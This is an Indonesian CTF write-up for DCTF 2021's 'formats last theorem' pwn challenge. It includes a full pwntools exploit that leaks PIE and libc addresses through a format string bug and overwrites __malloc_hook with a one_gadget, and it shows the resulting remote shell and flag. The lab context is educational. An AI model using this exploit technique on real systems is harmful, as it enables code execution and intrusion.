Sesuai dengan nama challenge formats last theorem, challenge ini mempunyai vulnerability Format String Attack pada function vuln(). Kita harus melakukan leak address dari binary(PIE Enabled) dan address dari libc. Disini penulis melakukan leak terhadap dua address yakni main() (Index ke-27) dan __libc_start_main+231 (Index ke-23).

Dikarenakan versi Libc yang digunakan adalah libc6_2.27-3ubuntu1.4_amd64. Kita bisa menggunakan one_gadget untuk mendapatkan shell. Address dari one_gadget inilah yang akan kita gunakan untuk meng-overwrite value dari __malloc_hook. Kenapa kita overwrite __malloc_hook? dikarenakan kita tidak mempunyai banyak pilihan (Full RELRO) dan karena function printf() memiliki potensi untuk men-trigger __malloc__hook.
Referensi: malloc_hook.

Solver:

#!/usr/bin/env python
from pwn import *
from os import path
import sys

DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/formats_last_theorem"
SERVER,PORT = "dctf-chall-formats-last-theorem.westeurope.azurecontainer.io", 7482
REMOTE, LOCAL = False, False
elf = ELF(TARGET)

context.update(arch ="amd64", log_level = "warn")

def exploit(io, libc =null):
    # raw_input("Fire GDB!")
    
    p = b""
    p += b"%27$p||%23$p" # main() || __libc_start_main+231
    io.sendlineafter("point\n", p)

    io.recvuntil("you entered\n")
    LEAKED_RAW = io.recvline().strip().decode()
    LEAKED_LIST = LEAKED_RAW.split("||")
    MAIN_ADDRESS = int(LEAKED_LIST[0],16)
    BASE_ADDRESS = MAIN_ADDRESS - elf.symbols["main"]

    LIBC_START_MAIN = int(LEAKED_LIST[1],16)
    LIBC_BASE = LIBC_START_MAIN - libc.symbols["__libc_start_main"] - 231
    MALLOC_HOOK = LIBC_BASE + libc.symbols["__malloc_hook"]
    ONE_GADGET_OFFSET = 0x10a41c
    ONE_GADGET = LIBC_BASE + ONE_GADGET_OFFSET

    print("=======[LEAKED ADDRESS]=======")
    print("[!] BASE_ADDRESS     : ",hex(BASE_ADDRESS))
    print("[!] LIBC_BASE        : ",hex(LIBC_BASE))
    print("==============================")
    print("[!] MAIN             : ",hex(MAIN_ADDRESS))
    print("[!] LIBC_START_MAIN  : ",hex(LIBC_START_MAIN))
    print("[!] __malloc_hook    : ",hex(MALLOC_HOOK))
    print("[!] one_gadget       : ",hex(ONE_GADGET))
    part1 = str(hex(ONE_GADGET))[2:-8]
    part2 = str(hex(ONE_GADGET))[6:-4]
    part3 = str(hex(ONE_GADGET))[10:]
    print(part1,"|",part2,"|",part3)

    # information gathering
    # p += "%{}c".format(str(0x41).rjust(10,"0")).encode()
    # p += b"%8$p"
    # p += p64(0xDEADBEEFCAFEBABE)
    # p += "%{}c".format(str(0x41).rjust(9,"0")).encode()
    # p += b"%11$p"
    # p += p64(0xF155DEADC0BAB0BA)

    p = b""
    p += "%{}c".format(str(int(part1, 16) & 0xFFFF).rjust(9,"0")).encode()
    p += b"%8$hn"
    p += p64(MALLOC_HOOK+4) # 8(byte)
    io.sendlineafter("point\n", p)

    p = b""
    p += "%{}c".format(str(int(part2, 16) & 0xFFFF).rjust(9,"0")).encode()
    p += b"%8$hn"
    p += p64(MALLOC_HOOK+2)
    io.sendlineafter("point\n", p)
    
    p = b""
    p += "%{}c".format(str(int(part3, 16) & 0xFFFF).rjust(9,"0")).encode()
    p += b"%8$hn"
    p += p64(MALLOC_HOOK)
    io.sendlineafter("point\n", p)


    # %65536$c | trigger __malloc_hook
    p = "%{}c".format(0x10000).encode() 
    io.sendlineafter("point\n", p)
    
    io.interactive()
    

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "r":
        REMOTE = True
        io = remote(SERVER, PORT)
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        LOCAL = True
        io = process([TARGET])
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    exploit(io, libc)

Exploit:

phobos@PH0bo5: python3 solve.py r
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/07Format_last_theorem_SOLVED/formats_last_theorem'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
=======[LEAKED ADDRESS]=======
[!] BASE_ADDRESS     :  0x55580f5a0000
[!] LIBC_BASE        :  0x7efebb801000
==============================
[!] MAIN             :  0x55580f5a07ac
[!] LIBC_START_MAIN  :  0x7efebb822bf7
[!] __malloc_hook    :  0x7efebbbecc30
[!] one_gadget       :  0x7efebb90b41c
7efe | bb90 | b41c
you entered
$ ls
flag.txt
formats_last_theorem
startService.sh
$ cat flag.txt
dctf{N0t_all_7h30r3ms_s0und_g00d}
$  

FLAG : dctf{N0t_all_7h30r3ms_s0und_g00d}




CTF kali ini cukup menghibur dan bermanfaat, karena banyak ilmu dan pengalaman yang penulis dapatkan saat mengerjakannya. Tapi sungguh disayangkan penulis tidak berhasil menyelesaikan Challenge PWN yang terakhir Just another heap. Yaiyalah, saya kan noob.
Silahkan mampir juga ke blog rekan satu tim saya:

Akhir kata, All is Well.. Alhamdulillah.. InsyaAllah ngepost lagi ^ -^)b